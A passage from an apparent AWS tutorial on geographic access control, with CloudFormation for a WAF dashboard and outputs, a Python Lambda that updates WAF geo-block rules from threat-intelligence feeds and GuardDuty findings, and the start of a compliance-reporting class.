    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CertificateManager::Certificate</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">DomainName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">OriginDomainName</span>
      <span class="na">ValidationMethod</span><span class="pi">:</span> <span class="s">DNS</span>

  <span class="c1"># CloudWatch Dashboard for Geographic Analytics</span>
  <span class="na">GeographicDashboard</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudWatch::Dashboard</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">DashboardName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-geographic-analytics'</span>
      <span class="na">DashboardBody</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="pi">|</span>
        <span class="s">{</span>
          <span class="s">"widgets": [</span>
            <span class="s">{</span>
              <span class="s">"type": "metric",</span>
              <span class="s">"x": 0, "y": 0, "width": 12, "height": 6,</span>
              <span class="s">"properties": {</span>
                <span class="s">"metrics": [</span>
                  <span class="s">["AWS/WAFV2", "AllowedRequests", "WebACL", "${GeographicWebACL}", "Rule", "AllowedCountriesRule"],</span>
                  <span class="s">[".", "BlockedRequests", ".", ".", ".", "."]</span>
                <span class="s">],</span>
                <span class="s">"period": 300,</span>
                <span class="s">"stat": "Sum",</span>
                <span class="s">"region": "us-east-1",</span>
                <span class="s">"title": "Geographic Access Control Overview"</span>
              <span class="s">}</span>
            <span class="s">},</span>
            <span class="s">{</span>
              <span class="s">"type": "metric", </span>
              <span class="s">"x": 12, "y": 0, "width": 12, "height": 6,</span>
              <span class="s">"properties": {</span>
                <span class="s">"metrics": [</span>
                  <span class="s">["AWS/WAFV2", "BlockedRequests", "WebACL", "${GeographicWebACL}", "Rule", "BlockedCountriesRule"],</span>
                  <span class="s">[".", ".", ".", ".", ".", "ComplianceMonitoringRule"]</span>
                <span class="s">],</span>
                <span class="s">"period": 300,</span>
                <span class="s">"stat": "Sum", </span>
                <span class="s">"region": "us-east-1",</span>
                <span class="s">"title": "Blocked Access by Rule"</span>
              <span class="s">}</span>
            <span class="s">}</span>
          <span class="s">]</span>
        <span class="s">}</span>

<span class="na">Outputs</span><span class="pi">:</span>
  <span class="na">WebACLId</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">Geographic</span><span class="nv"> </span><span class="s">WAF</span><span class="nv"> </span><span class="s">Web</span><span class="nv"> </span><span class="s">ACL</span><span class="nv"> </span><span class="s">ID'</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">GeographicWebACL.Arn</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-geo-waf-acl-id'</span>
      
  <span class="na">CloudFrontDistributionId</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">CloudFront</span><span class="nv"> </span><span class="s">Distribution</span><span class="nv"> </span><span class="s">ID'</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">GeographicCloudFrontDistribution</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-cloudfront-id'</span>
      
  <span class="na">CloudFrontDomainName</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">CloudFront</span><span class="nv"> </span><span class="s">Domain</span><span class="nv"> </span><span class="s">Name'</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">GeographicCloudFrontDistribution.DomainName</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-cloudfront-domain'</span>
      
  <span class="na">LoggingBucket</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">S3</span><span class="nv"> </span><span class="s">Bucket</span><span class="nv"> </span><span class="s">for</span><span class="nv"> </span><span class="s">Geographic</span><span class="nv"> </span><span class="s">Logs'</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">GeoLoggingBucket</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ApplicationName}-geo-logs-bucket'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="advanced-geographic-intelligence-integration">Advanced Geographic Intelligence Integration</h2>

<h3 id="automated-threat-intelligence-updates">Automated Threat Intelligence Updates</h3>

<p>Integrate external threat intelligence to automatically update geographic blocking rules:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">requests</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">import</span> <span class="n">logging</span>

<span class="n">logger</span> <span class="o">=</span> <span class="n">logging</span><span class="p">.</span><span class="nf">getLogger</span><span class="p">()</span>
<span class="n">logger</span><span class="p">.</span><span class="nf">setLevel</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">INFO</span><span class="p">)</span>

<span class="k">class</span> <span class="nc">GeographicThreatIntelligence</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">web_acl_name</span><span class="p">,</span> <span class="n">web_acl_id</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">wafv2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">wafv2</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">web_acl_name</span> <span class="o">=</span> <span class="n">web_acl_name</span>
        <span class="n">self</span><span class="p">.</span><span class="n">web_acl_id</span> <span class="o">=</span> <span class="n">web_acl_id</span>
        
    <span class="k">def</span> <span class="nf">fetch_threat_intelligence</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">
        Fetch geographic threat intelligence from multiple sources
        </span><span class="sh">"""</span>
        <span class="n">threat_countries</span> <span class="o">=</span> <span class="nf">set</span><span class="p">()</span>
        
        <span class="c1"># Source 1: Commercial threat intelligence feed
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span>
                <span class="sh">'</span><span class="s">https://api.threatintel.example.com/geographic-threats</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">Authorization</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Bearer YOUR_API_KEY</span><span class="sh">'</span><span class="p">},</span>
                <span class="n">timeout</span><span class="o">=</span><span class="mi">30</span>
            <span class="p">)</span>
            <span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
                <span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="nf">json</span><span class="p">()</span>
                <span class="n">threat_countries</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">high_risk_countries</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]))</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">logger</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to fetch commercial threat intel: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># Source 2: Open source threat intelligence
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span>
                <span class="sh">'</span><span class="s">https://raw.githubusercontent.com/example/threat-intel/main/geo-threats.json</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">timeout</span><span class="o">=</span><span class="mi">30</span>
            <span class="p">)</span>
            <span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
                <span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="nf">json</span><span class="p">()</span>
                <span class="n">threat_countries</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">countries</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]))</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">logger</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to fetch open source threat intel: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
        <span class="c1"># Source 3: AWS GuardDuty findings analysis
</span>        <span class="n">threat_countries</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">analyze_guardduty_findings</span><span class="p">())</span>
        
        <span class="k">return</span> <span class="nf">list</span><span class="p">(</span><span class="n">threat_countries</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">analyze_guardduty_findings</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">
        Analyze AWS GuardDuty findings for geographic patterns
        </span><span class="sh">"""</span>
        <span class="n">guardduty</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">guardduty</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">threat_countries</span> <span class="o">=</span> <span class="nf">set</span><span class="p">()</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Get detector ID
</span>            <span class="n">detectors</span> <span class="o">=</span> <span class="n">guardduty</span><span class="p">.</span><span class="nf">list_detectors</span><span class="p">()</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">detectors</span><span class="p">[</span><span class="sh">'</span><span class="s">DetectorIds</span><span class="sh">'</span><span class="p">]:</span>
                <span class="k">return</span> <span class="n">threat_countries</span>
                
            <span class="n">detector_id</span> <span class="o">=</span> <span class="n">detectors</span><span class="p">[</span><span class="sh">'</span><span class="s">DetectorIds</span><span class="sh">'</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
            
            <span class="c1"># Get findings from last 7 days
</span>            <span class="n">end_time</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">()</span>
            <span class="n">start_time</span> <span class="o">=</span> <span class="n">end_time</span> <span class="o">-</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">7</span><span class="p">)</span>
            
            <span class="n">findings</span> <span class="o">=</span> <span class="n">guardduty</span><span class="p">.</span><span class="nf">list_findings</span><span class="p">(</span>
                <span class="n">DetectorId</span><span class="o">=</span><span class="n">detector_id</span><span class="p">,</span>
                <span class="n">FindingCriteria</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">Criterion</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">updatedAt</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">'</span><span class="s">Gte</span><span class="sh">'</span><span class="p">:</span> <span class="nf">int</span><span class="p">(</span><span class="n">start_time</span><span class="p">.</span><span class="nf">timestamp</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">),</span>
                            <span class="sh">'</span><span class="s">Lte</span><span class="sh">'</span><span class="p">:</span> <span class="nf">int</span><span class="p">(</span><span class="n">end_time</span><span class="p">.</span><span class="nf">timestamp</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">)</span>
                        <span class="p">},</span>
                        <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">'</span><span class="s">Gte</span><span class="sh">'</span><span class="p">:</span> <span class="mf">7.0</span>  <span class="c1"># High severity findings only
</span>                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="c1"># Analyze findings for geographic patterns
</span>            <span class="k">for</span> <span class="n">finding_id</span> <span class="ow">in</span> <span class="n">findings</span><span class="p">[</span><span class="sh">'</span><span class="s">FindingIds</span><span class="sh">'</span><span class="p">]:</span>
                <span class="n">finding_details</span> <span class="o">=</span> <span class="n">guardduty</span><span class="p">.</span><span class="nf">get_findings</span><span class="p">(</span>
                    <span class="n">DetectorId</span><span class="o">=</span><span class="n">detector_id</span><span class="p">,</span>
                    <span class="n">FindingIds</span><span class="o">=</span><span class="p">[</span><span class="n">finding_id</span><span class="p">]</span>
                <span class="p">)</span>
                
                <span class="k">for</span> <span class="n">finding</span> <span class="ow">in</span> <span class="n">finding_details</span><span class="p">[</span><span class="sh">'</span><span class="s">Findings</span><span class="sh">'</span><span class="p">]:</span>
                    <span class="n">remote_ip</span> <span class="o">=</span> <span class="n">finding</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Service</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">RemoteIpDetails</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
                    <span class="n">country</span> <span class="o">=</span> <span class="n">remote_ip</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">Country</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">CountryCode</span><span class="sh">'</span><span class="p">)</span>
                    
                    <span class="k">if</span> <span class="n">country</span> <span class="ow">and</span> <span class="n">finding</span><span class="p">[</span><span class="sh">'</span><span class="s">Severity</span><span class="sh">'</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="mf">7.0</span><span class="p">:</span>
                        <span class="n">threat_countries</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="n">country</span><span class="p">)</span>
                        
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">logger</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to analyze GuardDuty findings: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
        <span class="k">return</span> <span class="n">threat_countries</span>
    
    <span class="k">def</span> <span class="nf">update_geographic_rules</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">threat_countries</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">
        Update WAF rules with new threat intelligence
        </span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Get current Web ACL configuration
</span>            <span class="n">web_acl</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">wafv2</span><span class="p">.</span><span class="nf">get_web_acl</span><span class="p">(</span>
                <span class="n">Scope</span><span class="o">=</span><span class="sh">'</span><span class="s">CLOUDFRONT</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">Id</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="n">web_acl_id</span>
            <span class="p">)</span>
            
            <span class="c1"># Find and update the threat intelligence rule
</span>            <span class="n">rules</span> <span class="o">=</span> <span class="n">web_acl</span><span class="p">[</span><span class="sh">'</span><span class="s">WebACL</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">Rules</span><span class="sh">'</span><span class="p">]</span>
            <span class="n">threat_rule_updated</span> <span class="o">=</span> <span class="bp">False</span>
            
            <span class="k">for</span> <span class="n">rule</span> <span class="ow">in</span> <span class="n">rules</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">ThreatIntelligenceGeoBlock</span><span class="sh">'</span><span class="p">:</span>
                    <span class="c1"># Update the rule with new threat countries
</span>                    <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">GeoMatchStatement</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">CountryCodes</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">threat_countries</span>
                    <span class="n">threat_rule_updated</span> <span class="o">=</span> <span class="bp">True</span>
                    <span class="k">break</span>
            
            <span class="c1"># Add new rule if it doesn't exist
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">threat_rule_updated</span><span class="p">:</span>
                <span class="n">new_rule</span> <span class="o">=</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ThreatIntelligenceGeoBlock</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Priority</span><span class="sh">'</span><span class="p">:</span> <span class="mi">10</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">GeoMatchStatement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">'</span><span class="s">CountryCodes</span><span class="sh">'</span><span class="p">:</span> <span class="n">threat_countries</span>
                        <span class="p">}</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">Action</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">Block</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">'</span><span class="s">CustomResponse</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                                <span class="sh">'</span><span class="s">ResponseCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">403</span><span class="p">,</span>
                                <span class="sh">'</span><span class="s">CustomResponseBodyKey</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">threat-intel-blocked-response</span><span class="sh">'</span>
                            <span class="p">}</span>
                        <span class="p">}</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">VisibilityConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">SampledRequestsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">CloudWatchMetricsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">MetricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">threat-intel-geo-block</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">}</span>
                <span class="n">rules</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">new_rule</span><span class="p">)</span>
            
            <span class="c1"># Update the Web ACL
</span>            <span class="n">self</span><span class="p">.</span><span class="n">wafv2</span><span class="p">.</span><span class="nf">update_web_acl</span><span class="p">(</span>
                <span class="n">Scope</span><span class="o">=</span><span class="sh">'</span><span class="s">CLOUDFRONT</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">Id</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="n">web_acl_id</span><span class="p">,</span>
                <span class="n">DefaultAction</span><span class="o">=</span><span class="n">web_acl</span><span class="p">[</span><span class="sh">'</span><span class="s">WebACL</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">DefaultAction</span><span class="sh">'</span><span class="p">],</span>
                <span class="n">Rules</span><span class="o">=</span><span class="n">rules</span><span class="p">,</span>
                <span class="n">VisibilityConfig</span><span class="o">=</span><span class="n">web_acl</span><span class="p">[</span><span class="sh">'</span><span class="s">WebACL</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">VisibilityConfig</span><span class="sh">'</span><span class="p">],</span>
                <span class="n">LockToken</span><span class="o">=</span><span class="n">web_acl</span><span class="p">[</span><span class="sh">'</span><span class="s">LockToken</span><span class="sh">'</span><span class="p">]</span>
            <span class="p">)</span>
            
            <span class="n">logger</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Updated geographic rules with </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">threat_countries</span><span class="p">)</span><span class="si">}</span><span class="s"> threat countries</span><span class="sh">"</span><span class="p">)</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">logger</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to update WAF rules: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>

<span class="k">def</span> <span class="nf">lambda_handler</span><span class="p">(</span><span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">
    Lambda function for automated threat intelligence updates
    </span><span class="sh">"""</span>
    <span class="n">web_acl_name</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">WebACLName</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">geo-secure-app-geo-waf-acl</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">web_acl_id</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">WebACLId</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="n">threat_intel</span> <span class="o">=</span> <span class="nc">GeographicThreatIntelligence</span><span class="p">(</span><span class="n">web_acl_name</span><span class="p">,</span> <span class="n">web_acl_id</span><span class="p">)</span>
    
    <span class="c1"># Fetch latest threat intelligence
</span>    <span class="n">threat_countries</span> <span class="o">=</span> <span class="n">threat_intel</span><span class="p">.</span><span class="nf">fetch_threat_intelligence</span><span class="p">()</span>
    
    <span class="k">if</span> <span class="n">threat_countries</span><span class="p">:</span>
        <span class="c1"># Update WAF rules
</span>        <span class="n">threat_intel</span><span class="p">.</span><span class="nf">update_geographic_rules</span><span class="p">(</span><span class="n">threat_countries</span><span class="p">)</span>
        
        <span class="c1"># Send notification
</span>        <span class="n">sns</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sns</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">sns</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span>
            <span class="n">TopicArn</span><span class="o">=</span><span class="sh">'</span><span class="s">arn:aws:sns:us-east-1:123456789012:security-alerts</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Subject</span><span class="o">=</span><span class="sh">'</span><span class="s">Geographic Threat Intelligence Updated</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Message</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
                <span class="sh">'</span><span class="s">threat_countries</span><span class="sh">'</span><span class="p">:</span> <span class="n">threat_countries</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">total_blocked_countries</span><span class="sh">'</span><span class="p">:</span> <span class="nf">len</span><span class="p">(</span><span class="n">threat_countries</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">web_acl</span><span class="sh">'</span><span class="p">:</span> <span class="n">web_acl_name</span>
            <span class="p">},</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>
        <span class="p">)</span>
    
    <span class="k">return</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">statusCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">body</span><span class="sh">'</span><span class="p">:</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
            <span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Threat intelligence update completed</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">threat_countries_count</span><span class="sh">'</span><span class="p">:</span> <span class="nf">len</span><span class="p">(</span><span class="n">threat_countries</span><span class="p">)</span>
        <span class="p">})</span>
    <span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="compliance-automation-and-reporting">Compliance Automation and Reporting</h3>

<p>Automate compliance reporting for geographic access controls:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">csv</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">io</span> <span class="kn">import</span> <span class="n">StringIO</span>

<span class="k">class</span> <span class="nc">GeographicComplianceReporter</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">web_acl_name</span><span class="p">,</span> <span class="n">distribution_id</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">cloudwatch</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">web_acl_name</span> <span class="o">=</span> <span class="n">web_acl_name</span>
        <span class="n">self</span><span class="p">.</span><span class="n">distribution_id</span> <span class="o">=</span> <span class="n">distribution_id</span>
        
    <span class="k">def</span> <span class="nf">generate_compliance_report</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">
        Generate comprehensive compliance report for geographic access
        </span><span class="sh">"""</span>
        <span class="n">report_data</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">period</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">start_date</span><span class="si">}</span><span class="s"> to </span><span class="si">{</span><span class="n">end_date</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">web_acl</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">web_acl_name</span><span class="p">,</span>
